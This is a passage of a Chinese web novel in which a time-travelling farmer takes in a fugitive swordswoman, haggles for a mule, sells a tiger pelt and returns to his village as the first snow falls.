听到脚步声临近,秦心月猛地抬起头,乱发下的眼睛闪烁着危险的冷光。
见到来人是李逸,她表情一怔随后连忙将头埋低,生怕被李逸认出来。
“秦姑娘,是你吗?”李逸走上前询问。
见被认出来秦心月重新抬起头,唇角牵起苦涩的弧度,微微点头。
“天这么冷,你在这墙角蹲着,会冻出病来的。”
李逸伸手搀扶她,触到她的手臂,只觉得冰凉刺骨像摸在冰块上,忍不住皱了皱眉。
刚带着秦心月走进客舍,老店主就从柜台后抬起头,看到秦心月,脸色立刻沉了下来,不耐烦地挥手:
“去去去!没钱就别来住店!前两日你欠的房钱还没给,念你是个女子我没为难你,你怎么还敢回来?切莫再来烦我!”
秦心月的脸瞬间涨得通红,又变得煞白,窘迫地低下头,嘴唇动了动,却一句话也说不出来。
李逸连忙从怀里摸出几枚铜钱,放在柜台上,笑着打圆场:
“店主莫怪,误会了,这是我婆娘,性子倔,跟我赌气一个人跑出来,我寻了她好几日才找到。她欠的房钱我全补上,另外我们二人再住一晚。”
伸手不打笑脸人,老店主拿起铜钱掂了掂,脸色缓和了几分:“好吧,不过你们只能睡通铺了”
“也成,多谢店主!”
李逸没有在意,拉着秦心月向着里间的通铺走去,上次他跟何铁牛也是睡得通铺。
几日未见,秦心月又清瘦了几分,身上和脸都脏兮兮的头发也有些蓬乱,就她现在的样子站在城门那张画像旁都没有人能够认出她。
这个大通铺能够睡下十人,已经有三人蜷缩着躺在那,李逸拉着秦心月走到最里面,刚坐下就听到秦心月的腹部传出一阵咕噜噜的声响。
李逸苦笑,看似探手入怀,实则从物品栏里将剩下的两个饭团拿出递给秦心月:
“秦姑娘快吃吧”
秦心月没有客气,接过饭团后大口大口地吃起来,眼角微微湿润......
第三十三章:李公子,我无处可去了
当日和李逸分别后,秦心月一个人在安平县城里漫无目的地游荡。
没有了亲人,也没了家,她像一片无根的浮萍,不知道该何去何从。身上的还算厚实的旧冬衣,怀中仅剩的二十文铜钱,都是李逸给她的。
这份人情,她本想日后有机会报答,如今却成了她仅有的依靠。
有那么一瞬间,秦心月甚至闪过一丝苦涩的绝望,若是当日李逸没有救下她,让她就趴在那杂草之中死去,或许反倒是更好的归宿。
至少不用像现在这样,苟延残喘,连谋生的法子都没有,就像是一个废人.....
在城里游荡了两日,二十文铜钱很快就花光了,自幼习武的秦心月,吃穿不愁,除了武功,对世间俗事向来漠不关心。直到口袋空空,她才猛然发现,自己竟是个彻头彻尾的废人。
除了舞刀弄枪,她什么都不会,既不会针线活,也不懂耕种,更别提什么其它谋生手段。总不能凭着一身武艺去做打家劫舍的盗匪,那是她最鄙夷的行径。
秦心月靠在冰冷的墙根下,心中酸涩,天下之大,竟没有她的容身之所。
忍饥挨饿了三日,她厚着脸皮在客舍赖了两晚,连房钱都付不起,老店主讽刺的声音就像是一根根阵刺痛着她最后的尊严,迷茫像潮水般将她淹没,曾经的骄傲与冷傲,在现实面前碎得一文不值。
就在她走投无路时,竟又遇到了李逸.....
捧着温热的饭团,狼吞虎咽间,眼泪终究是忍不住落了下来。
从父亲战败身亡,家破人亡,到被官兵追杀,一路颠沛流离,所有的苦难都是秦心月一个人扛。就算再坚强,再冷傲,她也有撑不住的时候。
眼泪一旦落下,便如决堤的洪水,顺着脸颊的污垢划出一道道狼狈的痕迹。
李逸在一旁轻轻叹气,现实真是给这位秦女侠上了沉重的一课,在这个缺衣少食、生存为上的年代,光有一身好武艺显然是不够的。
将两个饭团全部吃下,空荡荡的肚子总算好受了些,秦心月用粗糙的衣袖擦了把眼泪,像是下定了毕生最大的决心,缓缓转过身,看向李逸,声音带着一丝不易察觉的颤抖:
“李公子,我……我无处可去了。你能不能收留我?我可以跟你进山打猎,也可以学着做农活、做其它活计,只要给我一口吃的就行。”
被官兵追杀身受重伤都面不改色的秦心月,如今为了活下去,竟要如此委曲求全。李逸看着她眼底的倔强与无助,心中也有些不忍。
单看她宁可饿肚子,也不愿用武功为非作歹这一点,就足以说明她人品的可靠。
见李逸沉默不语,秦心月的眼神黯淡了几分,心中涌起一阵失落。仔细想来,二人不过是萍水相逢,她这般唐突地提出要求,确实太过失礼。
“好啊。”李逸忽然开口:“只要你不介意我们大荒村偏远破旧,等来年开春种地,我确实需要不少帮手。”
秦心月猛地抬起头,眼中瞬间亮起光芒,像是在无尽黑暗中抓住了一抹微弱的光亮,连声音都拔高了几分:“我不介意的,很多活计我确实不会,但我可以跟着你学!”
李逸会收留秦心月,担心来年春种人手不足只是其一。
更重要的是秦心月会武功,而他日后要经常往返乡里和县城,去乡里来回一趟要走一整天,去县城更是要过夜,总将白雪儿和于巧倩两个弱女子留在家里,始终放心不下。
若是有秦心月在家坐镇,安全方面就能多一层保障。
如今天下初定,那些战败藩王的残兵大多落草为寇,北方尤为猖獗。城门口张贴的布告上,就画着不少周边土匪头目的画像,悬赏金额不等。
大齐王朝正处在休养生息恢复生产的阶段,百废待兴,各县城的驻军少得可怜。就拿安平县来说,总共只有二百驻军,一部分要轮防驻守县城,余下可调度的兵力寥寥无几。
安平县虽穷苦偏远,但管辖范围极大,那些土匪窝大多藏在深山老林里,远离县城。
就算朝廷下了剿匪的差使,县衙也是心有余而力不足。如今已进寒冬,正是匪患最猖獗的时候,偏远村落被劫掠的事情时有发生,甚至有整个村子被洗劫一空的惨状。
李逸也是上次在县城看到缉拿匪人的公告时,才意识到这个潜在的安全隐患,大荒村本就是个偏远的野村,毫无防备之力。
所以在看到落魄的秦心月时,他心中就有了收留的念头,如今秦心月主动开口,他便顺水推舟,做了个顺水人情。
吃完饭团,疲惫不堪的秦心月蜷缩在李逸身旁,很快就睡着了。她的后背紧紧贴着李逸的胳膊,那一丝微弱的温热,让她惶恐不安的心得到了些许慰藉。
奔走了一天的李逸也早已疲惫不堪,闭上眼睛没多久,便沉沉睡去。
等他再次睁开眼时,却猛然愣住了,不知何时,他竟将秦心月搂入了怀中,两人额头相贴,呼吸交织,也不排除是夜里天太冷,秦心月下意识钻进了他怀里取暖。
四目相对,空气瞬间凝固......
李逸紧张地观察着秦心月的神色,见她眼底没有丝毫杀意,才悄悄松了口气。
他刚才差点以为,秦心月会狗血地上喊一句:无耻淫贼,看剑!
二人默契地同时分开,表面上看不出任何异常脸颊却都悄悄发烫,心中更是乱作一团。
“秦姑娘,我要先去一趟乡里一趟,之后再回来找你。你在这客舍等着,晚上我们一同回村。”李逸率先打破沉默,语气尽量保持平静。
秦心月轻轻点头,应了一声”,便抱着膝盖安静地坐在角落,不再言语。
李逸不敢多耽搁,匆匆离开客舍便拉着木板车出了城。
他今天的目标很明确:一是去乡里买下那头看中的大骡子,二是去陈掌柜的药铺看看,顺便再囤些物资。
虽说已经过了几日,但寒冬腊月里很少有人会买大牲口,喂养起来耗费草料,还只能闲养在家里。上次那个卖骡子的中年男子,此刻想必还在乡里的集市口蹲着。
从县城前往乡里和回大荒村是两个完全相反的方向,根本不顺路。
若非为了买这头骡子李逸也不会这般麻烦,穿越到古代之后,他才深深体会到什么是行路难,没有交通工具,出行全靠双腿,一天下来,脚底板都能磨出泡。
正午之前李逸终于赶到了乡里,今日的天空依旧灰蒙蒙的,看不到一丝天光,却诡异地没有一丝风,空气沉闷得让人喘不过气。
李逸吸了吸鼻子,闻到了一股浓重的湿冷气息,这场大雪怕是真的要来了。
他直奔集市,一眼就看到了上次那个卖骡子的中年男子。对方正抱着胳膊,缩着脖子蹲在墙角,脸上满是不耐。
李逸装作拉着车路过的模样,随口打招呼:“呦!兄长,你这大牲口还没卖出去呢?”
中年男子用袖筒擦了把冻出来的鼻涕,没好气地回道:“都是些不识货的东西!不买就别瞎搭话,耽误我做生意!”
李逸停下脚步,故意装出有些气愤的模样:“唉?你这人怎么说话呢?不问价怎么买?总不能你说多少,别人就得给多少吧?”
“就说你这大骡子!”他围着骡子转了一圈,故意挑刺:“个头是不小,但看着年岁也不小了吧?买回家顶多干两年活,就得变成年迈体衰的老骡子,搞不好还是头病骡子呢!”
中年男子一听,顿时瞪起了眼:“你这后生,说话好生无礼!买不起就一边凉快去,别在这儿碎嘴烦人!”
李逸梗着脖子冷哼一声:“瞧不起谁呢?我倒是要听听,你这骡子到底要卖多少钱!”
“七千五百钱!”中年男子昂着头,一脸鄙夷:“你能买得起吗?”
“七千五百钱?”李逸像是听到了天大的笑话,提高了音量:“你怎么不去抢啊?就你这骡子,还想卖七千五百钱?今年卖不出去,来年冬天就是头老掉牙的骡子,五千钱都嫌贵!宰了吃肉还嫌柴,最多值六千钱!”
中年男子气得冷笑:“六千钱?就算我这骡子只值六千钱,你拿得出来吗?”
虽是天冷,集市上的人不多,但二人争吵的声音不小,还是吸引了一群看热闹的人。
有人点头附和李逸:“后生说得没错,这骡子看着确实有些老了,六千钱差不多了。”
也有人觉得李逸过分:“人家卖东西,你这后生不买还挑刺,确实不太地道。”
“我有!你卖不卖?”
似乎是被周围的人激怒,李逸说着,像是赌气一般,从怀里猛地扯出六串铜钱,哗啦一声放在地上,每串铜钱都是一千文,串得整整齐齐,明眼人一看便知,分文不少。
见这年轻人竟真的掏出了铜钱,看热闹的人齐刷刷看向中年男子,眼神里满是看热闹的意味。
中年男子瞬间愣住了,脸上的鄙夷僵住。
他原本以为,这后生只是随口抬杠,就算这骡子是头老骡子,只要好生照料,再干三五年活计不成问题,他最低也要卖七千钱才肯出手。
这时,一个和中年男子相熟的村民凑到他耳边,小声说道:
“六千钱是低了点,但你现在不卖,就得等明年了。这大冬天的谁愿意买头骡子回家闲着喂草料?这小子年轻气盛明显是气不过。你卖给她,我们给你作证他赖不了账。等他后悔了,你再压低价买回来,白赚几百钱,刚好够买些米粮过冬呀!”
中年男子眼睛一亮,觉得这话有理。
六千钱可不是个小数目,这后生看着就是一时冲动,等他冷静下来肯定会后悔。到时候他再用五千五百钱把骡子买回来,白赚五百钱,何乐而不为?
“卖!你敢买,我就敢卖!”中年男子当即大喊一声,生怕李逸反悔。
就这样,在几个看热闹村民的见证下,李逸和中年男子完成了交易,李逸牵着大骡子,中年男子拎着沉甸甸的铜钱,各自在心里打着算盘。
中年男子看着李逸的背影,嘴角勾起一抹冷笑,心中笃定这年轻人迟早会后悔。
李逸同样在心中冷笑。这头骡子正常讨价还价,最少也要六千五百钱,还得磨破嘴皮说尽好话。
如今他用激将法六千钱拿下,简直赚大了。
这头骡子看着健壮,拉去县城转手就能赚一两千钱,当然想要碰上买家可能需要在集市蹲上几日,距离太远来回耗时在县城吃住又开销太大,这也是中年男子没有去县城卖骡子的原因。
李逸当场给大骡子套上木板车,没想到这骡子竟格外听话也不认生,李逸喊了声号子,它就乖乖地拉着车,一步步向前走。
看着李逸赶着骡车远去的背影,中年男子掂量着手中的铜钱,心里却莫名有些不畅快,总觉得哪里不对劲。
李逸先去粮铺买了七百斤粟米,满满当当装了两大袋都搬上了骡车。随后他赶着骡车,直奔陈掌柜的药铺。
快到药铺门口时,刚好遇见送药回来的伙计小六,冻得满脸通红。
“小六!”李逸喊了一声。
小六听到声音抬头,看到李逸时,脸上满是诧异:“是你?”
不过几日不见,当初那个看着穷苦的小农户,如今竟赶起了骡车,车上还装着好几大袋粮食,变化实在太大了。
李逸笑着点头,将骡车停下好走进药铺。
陈掌柜依旧是在药柜前整理药材,铺子里不见陈玉竹的身影。
见到李逸陈掌柜放下手中的活计,笑着招呼:“你来了!快进来暖和暖和,外面天寒地冻的。”
说罢,他走到后门口,对着里面喊道:“玉竹!玉竹!把钱匣拿过来!”
李逸走到柜台前,笑着说道:“今日来集市买了头大骡子,想着以后拉货赶路都方便,顺便多囤些粮食过冬。”
陈掌柜点点头,赞同道:“是该如此。这天气看着是要下大雪,到时候路不好走,多囤些粮食总是没错的。”
“爹!”
清脆的女声响起,陈玉竹掀开门帘走了进来,见到站在柜台前的李逸,她的美眸中瞬间闪过一丝光亮,脚步也放慢了几分……
第三十四章:猎虎奇人
陈玉竹唇角噙着一抹浅淡的笑意,对着李逸微微点头,算是行了礼。
她将钱匣轻轻放在柜台上,便走到旁边的小桌边坐下,指尖无意识地摩挲着桌沿,目光却时不时飘向柜台方向。
陈掌柜接过钱匣,笑着掀开盖子:“呵呵呵……你来得正巧,正好把欠你的五千钱结清。”
“哦?”李逸挑了挑眉有些诧异,才短短几日药铺就赚回了几千钱,这行当果然暴利。
看出了他的心思,陈掌柜笑着解释:
“三日之前,铺里来了位重伤的病患,气息奄奄几乎命悬一线,还多亏了你那株野山参,给他吊住了一口气,我才得以施针用药,把他从鬼门关拉了回来。”
陈掌柜的笑容格外和善,对于医者而言救人一命的成就感,远非钱财可比。
说话间,他从钱匣里取出五个小巧的银锭,整齐地推到李逸面前。
这个时代的货币体系很明确:千钱为一小银锭,五个小银锭合成一个大银锭,两个大银锭可换一个金饼,铜钱是日常流通的主力,银锭多用于大额交易,金饼则极为罕见。
“这样,我们就清账了。”陈掌柜笑着说道。
李逸连忙掏出之前陈玉竹写的欠条,双手递还给陈掌柜。
他收下银锭入手沉甸甸的,冰凉的触感透着踏实。陈掌柜接过欠条随手撕成两半,二人之间的账目便彻底两清。
李逸的目光不经意间扫过陈玉竹的脖颈,那里围着一条绒毛蓬松的兔皮围脖,正是当日他送的那张白兔皮所制,围脖雪白柔软衬得她脖颈愈发纤细,气色也好了不少。
“陈掌柜,陈姑娘,我还要马上赶到县城就不多逗留了,告辞。”李逸后退一步,微微躬身行礼。
说罢,他转身大步走出药铺,脚步声沉稳有力。
陈玉竹的目光一直追随着他的背影,直到门帘落下,才悄悄收回视线,脸颊泛起一丝不易察觉的红晕。
时间紧迫,李逸本想去石匠铺定制更大的磨盘和石碾子,虽说是冬日没有农活,也不能买回去一头大骡子闲养着。
虽是有系统在他大概也能领悟石匠这个生活技能,但想着要上山找石料再搬运回村里,消耗的时间和气力与得到的收获不成正比,只能暂时放弃这个想法,日后有机会再去考虑。
出城两三里路后,李逸左右看了看,确认四下无人便将骡车和粮食一同收入物品栏,翻身骑上大骡子的后背。
骑累了,就下来牵着骡子走一段,任由它啃食路边的枯草,自己则趁机活动筋骨。
夜幕降临之前,李逸终于赶回了安平县城。
王记酒肆里.....
王金石正心绪不宁地来回踱步,眉头紧锁。
今早他特意放出消息,说明日老母的寿宴上,会用虎肉招待贵客。
消息一出,果然如他所料,县城里有头有脸的商贾富户,无论之前是否有交集,都纷纷派人送信,说要亲自登门祝寿,就连县衙也来了消息,县令伍思远、县丞张贤和赵县尉,都会亲自前来给老夫人贺寿。
这般风光,让王金石面上有光,心中却隐隐发慌。若是李逸迟迟不送虎皮来,明日的寿宴怕是要出洋相,总有那么些人见不得别人风光,就等着看他笑话。
“吁.....”
门外忽然传来骡子的嘶鸣和车轮滚动的声响,王金石眼睛一亮,连忙快步走出去。
只见李逸正从骡车上下来,伸手摸了摸大骡子的头,从车上拿下一小捆干草放在地上,让骡子慢慢啃食。
“哎呦,兄弟!可把你盼来了!
”王金石满脸堆笑,快步迎了上去,拉着李逸的胳膊就往店里走,眼神却不住地瞟着李逸身后的箩筐。
看他这急切模样,李逸无奈笑道:“王店主,我可是连口饭都没顾上吃,昼夜不停地赶路,还借了这头大骡子才准时赶到。”
“辛苦辛苦!”王金石拉着他直奔店内:“好酒好菜我都给你备好了!东西……带来了吧?”
李逸笑着点头,拍了拍身后的箩筐。
“快,跟我进内屋!”王金石迫不及待地将他领进一间暖烘烘的内室,屋里摆着一个烧得正旺的火盆,驱散了冬日的寒气。
李逸放下箩筐,掀开上面的粗布,一张橙黄色带着黑色条纹的虎皮赫然显露出来。虎皮完整无缺,**色光亮,黑色条纹如同墨染般规整,透着一股慑人的威严。
“哎呀呀!真……真是大虫的皮啊!这品相,这威风劲儿,绝了!”
王金石伸出手,指尖轻轻抚摸着虎皮,微微颤抖,不知是兴奋还是激动。
他顺着虎**细细摩挲,嘴里连声惊叹,直到摸到虎皮颈部时,才有些惋惜地说道:
“嘶.....哎呀.....要是能留着头颅,这皮挂起来才更气派啊,可惜了……”
“王店主别急。”李逸笑着说道:“你把那虎头煮熟,仔细剔出完整的头骨,晾干后找个手艺好的皮匠,把它缝回虎皮里,照样威风凛凛。”
王金石双眼瞬间放光,连连拍手:“好!好主意!哈哈哈……还是兄弟你脑子活啊!”
又爱不释手地抚摸了一阵虎皮,王金石猛然想起正事,连忙转身从墙角的柜子里取出钱匣,打开后拿出二十个小银锭,摆在李逸的面前:
“兄弟,这是答应你的两万钱,换成了二十个小银锭,用着方便。你要是想要大银锭或者金饼,我这也能给你换!你一句话的事儿”
李逸掂量了一下银锭,分量十足,笑着回道:“小银锭就好,大的用着反而麻烦。”
“呵呵呵....也是,那咱们现在是钱货两清。”
王金石小心翼翼地将虎皮叠好,放进柜子里锁好,转身笑呵呵地拍了拍李逸的肩膀:“兄弟,从今往后,你就是咱们安平县能猎虎的奇人了!不如留下来,明天参加我老娘的寿宴,也让县城的富户们都认识认识你这奇人!”
李逸连忙摆手:“多谢王店主好意我心领了,不过.....我不想太过张扬,还希望你能帮我隐瞒猎虎之事,免得引来不必要的麻烦。”
王金石挠了挠下巴,恍然大悟:“嗯……也好!人怕出名猪怕壮,其他猎户知道了肯定会心生嫉妒,说不定还会上门挑战你,确实麻烦。低调点好,低调点好!”
“走,咱们去前面吃饭!”
李逸有些不好意思地笑了笑:“王店主,不瞒你说,我婆娘还在客舍等着,她也一天没吃东西了……”
“嗨!这有啥!你去快把她接来一起。”王金石大手一挥,吩咐伙计:“再加个热菜,多弄点饭”
“多谢王店主。”
李逸道谢后,快步走出酒肆,赶着骡车直奔客舍。
远远的......就看到秦心月坐在客舍门口的墙角,双手抱着膝盖,缩着身子,像个受了委屈的小可怜。
“秦姑娘!怎么又坐在这里?”李逸停下骡车,快步走了过去。
看到李逸的那一刻,秦心月心中所有的顾虑和不安瞬间消散,果然是言出必行,没有丢下她。
秦心月抬起头,眼底闪过一丝暖意,轻声说道:“没事,客舍里也暖和不了多少的。”
李逸笑了笑,伸手扶她起来:“走,先去吃饭,吃完饭,我带你回家。”
家这个字,像一根细针,轻轻触动了秦心月心中最柔软的地方。她微微一怔,随即轻轻点头,嗯了一声,声音里带着一丝不易察觉的哽咽。
二人返回酒肆时,桌上已经摆满了饭菜:一盘煮肉,一盘炒青菜,一盘腌菜,还有一坛米酒。
王金石见他们
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进来,连忙招呼:“快坐快坐!趁热吃,不够再添啊!”
他心情大好,越看李逸越顺眼,性子沉稳老实说话做事不偷奸耍滑,还能猎到猛虎,和这样的人结交,以后李逸打到的好猎物,自然会优先卖给他。
李逸知道王金石豪爽,也不客套,道谢后便拉着秦心月坐下,拿起碗筷递给她。
几日没吃过像样的饭菜,秦心月确实饿极了,吃相略显急切,倒也符合她如今的处境。
王金石很识趣,没有过来打扰,只让伙计嘱咐二人,缺什么尽管说。
李逸见秦心月似乎很爱喝那米酒,便又让伙计添了一坛酒和两碗粟米饭。
三碗粟米饭下肚,酒坛里的米酒也见了底,秦心月脸上泛起红晕,几天来亏空的肚子终于有了底气,眼神也亮了许多。
饭后,李逸向王金石打听了一家夜间也开门的米铺,便带着秦心月驱车赶了过去。
米铺老板起初因为半夜被敲门而满脸不悦,但一听李逸要买七百斤粟米和两百斤小麦,立刻换上了热情的笑容,亲自帮忙装袋、过秤,还主动搭手将粮食搬上骡车。
顶着沉沉夜色,李逸赶着骡车出城,他深谙人情世故,给值夜的士兵递了十个铜板,对方果然没有多问,爽快地放行任他们出城。
有秦心月在身边,李逸并不担心半路遇到土匪盗匪,以她的武功,寻常**贼根本不够看,索性便不再在县城留宿,连夜赶回大荒村。
李逸坐在骡车前面,手中握着缰绳,大骡子温顺听话,被训练得极好,赶起来毫不费力。
秦心月坐在车后,蜷缩在两袋粮食中间,李逸特意给她留了个宽敞的空隙,让她能靠在粮袋上,挡一挡夜风。
月光努力撕开厚重的云层,洒下一缕清冷的光芒,为漆黑的道路照亮一小块区域。
车轮滚动,发出辘辘声响,大骡子时不时喷出一口粗气,打个响鼻。
这般静谧的氛围,让人内心安定,不知走了多久,秦心月忽然幽幽开口,声音轻柔却清晰:
“我父亲是靠山王,他战败之后我们全家都成了反贼,我也上了齐武帝的必杀名册,我们不死,他心难安。”
李逸闻言,并不意外。他早就觉得秦心月身份不一般,只是没想到竟是靠山王的女儿。若是靠山王能在藩王争霸中最终获胜,秦心月便是高高在上的公主殿下了。
“你有没有想过复仇?”李逸语气平淡地问道,手中的缰绳依旧稳稳当当。
秦心月轻轻摇头,声音里带着一丝疲惫,却异常坚定:
“成王败寇,自古以来皆是如此。不管是谁最终一统天下,这乱世也该结束了。连年征战民不聊生,我杀了齐武帝,又会有其他人出来争夺帝位,战乱依旧会继续,我……早就厌烦了。”
秦心月说出这番话,是经过深思熟虑的。
李逸先是救了她的命,现在又肯收留她,她不想一直隐瞒自己的身份,这是对恩人的不敬。
话一出口,堵在心口的那块大石终于落地,却又忍不住有些担忧,怕李逸会因为她的身份而忌惮。
李逸淡淡一笑,语气随意自然:“我可不知道什么靠山王的公主殿下,我只认得大荒村的村姑秦姑娘。”
他顿了顿,转头看向秦心月,目光温和:“秦姑娘,以后就安心做个农妇吧。大荒村偏僻安静,没人会追究你的过往。”
简单的几句话,让秦心月心中一暖,所有的担忧瞬间烟消云散。她转头,望着李逸的背影,嘴角缓缓勾起一抹释然的微笑,眼中的迷茫与不安彻底褪去,只剩下平静与坚定。
“嗯……以前的秦心月已经**,从今往后,我就是一个最普通的村姑。”
秦心月深吸了一口寒冷的夜风,缓缓吐出........
第三十五章:寡妇登门
后半夜,寒风骤起,像是有无数头野兽在黑暗中嘶吼。
鹅毛般的雪片被狂风裹胁着,漫天飞舞,天地间瞬间被一片白茫茫所笼罩。
坐在骡车上的李逸和秦心月几乎同时伸出手掌,接住了飘落的雪片,冰凉的触感在掌心转瞬融化,顺着指缝滑落,带来一阵寒意。
“坐稳了!”
李逸裹了裹身上的皮袄,声音被风吹得有些发飘。他拿起手边的树枝,轻轻抽了下大骡子的屁股,低喝一声:“驾!”
大骡子打了个响鼻,迈开蹄子在积雪初覆的土路上快步前行,车轮转动发出辘辘声响。
大荒村,李逸家.....
向来睡眠极好的白雪儿,今晚却翻来覆去难以入眠。火炕虽暖可屋外的狂风呼啸声总让她心神不宁,像是有猛兽在院外徘徊,随时会破门而入。
“姐姐.....你睡了吗?”
白雪儿睁着圆溜溜的大眼睛,小声询问,声音里带着难以掩饰的担忧。
于巧倩的声音随之响起,带着一丝不易察觉的沙哑:“还没。”
“哎呀......夫君今天怎么还没回来?不会出什么事了吧!”白雪儿攥紧了身上的被褥,语气愈发焦急。
“快呸呸呸.....别乱说!”于巧倩连忙打断她:“兴许是县城里有事耽搁了,夫君那么机灵不会有事的。”
“可之前在大牢里,听那些狱卒说,一到冬日里匪患就猖獗......夫君他一个人......”
白雪儿越说越害怕,声音都带上了哭腔。
“呸呸呸......别胡思乱想!”
于巧倩嘴上呵斥,心里却也揪得紧紧的。她攥着被子的手指微微用力,耳朵贴在炕上,试图捕捉屋外的任何动静。
白雪儿缩在被窝里,依旧翻来覆去,时不时发出一声轻轻的叹息,搅得于巧倩也没了睡意。
就在这时,一阵哒哒的马蹄声夹杂着车轮碾雪的声响,隐约从村口传来。
白雪儿猛地坐起身,侧耳倾听,片刻后,就听到了清晰的拍门声和李逸熟悉的呼唤:
“雪儿!倩儿!开门啊!”
“姐姐!夫君回来了!”
白雪儿瞬间喜上眉梢,眼睛亮得像天上的星星,顾不上穿衣就想跳下火炕。
于巧倩一把拉住她,嗔道:“雪儿!你疯了!穿这么少出去,冻着了又要染风寒!”
“哦.....我知道了!”白雪儿吐了吐舌头,手脚麻利地穿上冬衣,动作快得像阵风。
于巧倩无奈摇头,也跟着起身,用火折子点燃了油灯。
昏黄的灯光照亮小屋时,白雪儿已经推开房门,一头扎进了漫天风雪里。
屋外,寒风裹胁着白雪呼啸而过,雪片打在脸上生疼。白雪儿却毫不在意,雀跃着跑到小院门口,费力地拉开木门。
门口站着心心念念的李逸,他身上落满了雪花,皮袄上结了一层薄冰,身旁还立着一道人影,同样裹着厚厚的积雪。
“雪儿姑娘.....”那人影开口,声音带着几分沙哑。
白雪儿愣了一下,才认出对方:“秦姐姐?你怎么和夫君一起回来了?”
“先进屋,进屋再说,外面太冷了!”李逸催促着,将身上的积雪抖落,吆喝着将骡车赶进院子。
白雪儿连忙关上院门,秦心月不等招呼,就上前拎起板车上的米袋,一袋近百斤的米,她竟一手一个,稳稳当当提进了屋里,脸上不见丝毫吃力。
李逸看得心中啧啧称奇:秦姑娘这力气真是深藏不露!就这苗条身形,谁能想到有比何铁牛还大的力气,看来习武是很靠谱的。
“呀!夫君,这是驴子吗?好壮呀!”
白雪儿看着李逸将一头高大的牲口拉进新搭的木棚,好奇地跟了过去。
“这是骡子,比驴子能干活,在乡里买的,只花了六千钱!”
李逸语气带着几分得意,这价格确实低得离谱。
白雪儿开心地拍手:“不管是骡子还是驴子,能拉车就是好的!以后夫君赶路就不用那么辛苦了!”
“雪儿,你端盆水出来,这骡子渴坏了。”李逸摸了摸骡子的头,它温顺地打了个响鼻。
“好嘞!”白雪儿应了一声,转身跑进屋里,不多时就端着一个木盆出来。
李逸早有准备,木棚下的地面被他提前压得平整,还堆了几捆干燥的杂草。他将杂草切碎丢进木槽,又抓了几把黄豆放进石磨里磨碎,掺进草料中。
豆子是精料,吃豆子能让骡子更有力气,还能增强免疫力,寻常农户可舍不得这么喂。
忙活完这些,李逸才拍了拍手上的草屑,走进屋里。
里屋的木桌旁,于巧倩已经点亮了两盏油灯,昏黄的灯光将小屋照得暖意融融。
四人围着桌子坐下,李逸简单说明了秦心月的情况:“倩儿,雪儿,秦姑娘如今没地方去,以后就跟着咱们一起生活吧。”
秦心月站起身,对着二女抱拳行礼,语气诚恳:“倩儿姑娘,雪儿姑娘,日后多有打扰了。”
于巧倩浅笑点头,温柔地说:“秦姑娘不必客气,以后都是一家人。”
白雪儿却眨着大眼睛,一脸疑惑地问:“夫君,是不是说,秦姐姐以后也是你的媳妇了?”
秦心月的脸颊瞬间涨红,连忙低下头默不作声。
李逸哭笑不得地连连摆手:“雪儿,别乱说!眼下只能这样大家一起住,等来年天暖了,我在院子里再搭一间房给秦姑娘住。”
“哦,原来是这样.....”白雪儿似懂非懂地点头,又转头对秦心月说:“不过秦姐姐,我觉得你要是嫁给夫君也挺好的,夫君人可好了!”
于巧倩在旁边轻轻拉了下白雪儿的衣袖,白雪儿才意识到自己又说错话了,吐了吐小舌头,乖乖闭上嘴。
秦心月见二女没有丝毫嫌弃,心中的担忧也放下了。等李逸吹灭油灯,四人一起上了炕。火炕宽敞,挤四个人也不显得拥挤。
次日清晨,李逸推开房门,眼前一片白茫茫......
雪下了半指厚,天地间浑然一色,脚踩在雪地上,发出咯吱咯吱的声响。
大骡子在木棚里安安静静地吃草,显得格外温顺,让李逸很是满意。
李逸拿起扫帚扫了扫院子里的积雪,然后开始练习《气合拳》。
寒风中,他的每一个动作都很标准,哈出的白气在眼前转瞬消散。不求成为武林高手,只为强身健体,多攒些熟练度升级。
秦心月也早早起来了,站在屋檐下看着李逸练拳,眼中满是惊讶。才几日不见,李逸的拳术竟变得如此标准,招式连贯流畅。
李逸收势站稳,转头看向她:“秦姑娘不再睡一会儿?”
秦心月摇头,语气恭敬:“东家都起来了,我一个做活的怎好意思贪睡?以前练武时我起得比这还早。有什么需要我做的活吗?”
李逸明白她的心思,寄人篱下,总想做点什么才心安。
“那麻烦秦姑娘去割些干草回来,喂骡子用。等吃完早饭,让雪儿教你怎么用脱壳工具给粟米脱壳。”
“好。”
秦心月应了一声,转身拿起墙角的镰刀,独自走进了漫天风雪里。
李逸看着她的背影,苦笑摇头,表面上是落魄村姑,骨子里还是个冷傲的秦女侠。
吃过早饭,李逸继续搭建另一个木棚。白雪儿在院子的角落里教秦心月使用脱壳工具,耐心地演示着踩踏板的技巧。
“哎呀?院子里这么热闹呢!”
一个略显尖细的声音传来,李逸转头一看,只见王寡妇扭着粗腰走了进来,眼角微微抽搐,这尊大神怎么来了。
王寡妇的小眼睛在三女身上扫了一圈,最后落在木棚下的大骡子身上,表情瞬间愣住,随即夸张地叫道:
“哎呦喂......李三,你现在可真是厉害啊!连大骡子都置办上了?看来刘氏说的都是真的,你最近赚了不少钱,还囤了好多粮吧!”
不等李逸招呼,她就大摇大摆地走进院子,目光在脱壳工具上转了转,露出了然的神色。
秦心月下意识地看了李逸一眼,眼神里带着询问,像是在
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说:东家,需要我把她丢出去吗?
李逸连忙递了个安抚的眼神,强颜欢笑迎上去:“王嫂,这么冷的天,你怎么过来了?”
王寡妇开门见山,语气带着几分理所当然:
“昨儿我去刘氏家串门,她家那个大火炕可真暖和!我看到铁牛在用一个大木头疙瘩,踩来踩去的,问了才知道是给粟米脱壳的,铁牛说用这东西脱壳快,一个月能赚几百钱呢!”
王寡妇又上前一步,拉着李逸的胳膊,语气热切:
“李三啊,有赚钱的好事可不能不带我!以前你可没少去我家蹭饭,必须也给我弄一个这大木疙瘩!”
李逸面露难色:“哎呀嫂嫂,你看我这还忙着搭棚子,木料也不够了,要不你去乡里找个木匠做?”
王寡妇不满地瞪了他一眼:“哎呦,这大雪荒天的,你让我去哪找木匠?不就是缺木头吗?成!我这就去给你砍两棵回来!”
说完,不等李逸拒绝,她转头就走出了小院。
两个小时后,王寡妇竟真的拖着一棵粗壮的树干回来了,将树干丢在地上,她擦了把额头上的汗水,气喘吁吁地说:“李三,这棵树够了吧!”
李逸嘴角抽搐,这王寡妇五大三粗的,还真有膀子力气。
“行.....既然嫂嫂都把树砍回来了,我总不能不答应。后天你过来拿吧。”
见李逸痛快答应,王寡妇的脸色才好看了些:“哈哈....成!那我后天再来!你要是嫌这棵不够粗,我再去给你砍!”
以前最为村里的两大害虫,李逸确实挨家挨户地都光顾过,条件允许的情况下,帮一把也无妨,还能赚些木工熟练度。
